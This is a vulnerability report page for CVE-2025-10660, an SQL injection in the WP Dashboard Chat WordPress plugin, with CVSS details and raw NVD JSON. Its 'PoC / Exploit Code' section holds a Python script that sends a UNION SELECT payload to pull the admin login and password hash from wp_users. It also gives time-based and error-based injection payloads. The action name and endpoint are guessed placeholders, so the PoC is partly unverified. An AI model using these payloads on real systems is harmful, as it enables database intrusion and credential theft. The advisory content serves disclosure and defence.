Security Vulnerability Report
中文
CVE-2025-10660 CVSS 6.5 MEDIUM

CVE-2025-10660

Published: 2025-10-15 09:15:41
Last Modified: 2026-04-15 00:35:42

Description

The WP Dashboard Chat plugin for WordPress is vulnerable to SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Dashboard Chat <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10660 - WP Dashboard Chat SQL Injection PoC # Vulnerability: SQL Injection via 'id' parameter # Required: Contributor-level or higher authenticated access import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" PLUGIN_ENDPOINT = "/wp-admin/admin-ajax.php" # or specific plugin endpoint COOKIES = { "wordpress_logged_in_[hash]": "your_auth_cookie", "wordpress_sec_[hash]": "your_sec_cookie" } # SQL Injection payload targeting the 'id' parameter # Extracts admin username and password hash from wp_users table SQL_PAYLOAD = "1 UNION SELECT user_login, user_pass FROM wp_users WHERE ID=1-- -" def exploit_sql_injection(): """ Exploits the SQL injection vulnerability in WP Dashboard Chat plugin. The 'id' parameter is concatenated directly into SQL query without proper escaping or prepared statements. """ params = { "action": "wp_dashboard_chat_action", # Adjust based on actual action "id": SQL_PAYLOAD } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = requests.post( TARGET_URL + PLUGIN_ENDPOINT, data=params, cookies=COOKIES, headers=headers ) if response.status_code == 200: print("[+] Response received:") print(response.text) # Parse response to extract admin credentials if "admin" in response.text.lower() or "$P$" in response.text: print("[+] Sensitive data potentially extracted!") else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_sql_injection() # Alternative: Time-based blind SQL injection payload TIME_BASED_PAYLOAD = "1 AND (SELECT SLEEP(5))-- -" # Alternative: Error-based SQL injection payload ERROR_BASED_PAYLOAD = "1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1)))"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10660", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:41.137", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Dashboard Chat plugin for WordPress is vulnerable to SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-dashboard-chat/tags/1.0.3/wp-dashboard-chat.php#L207", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-dashboard-chat/tags/1.0.3/wp-dashboard-chat.php#L99", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/21ffbb00-7c84-4d00-9a7f-0e412d8d5ed7?source=cve", "source": "[email protected]"}]}}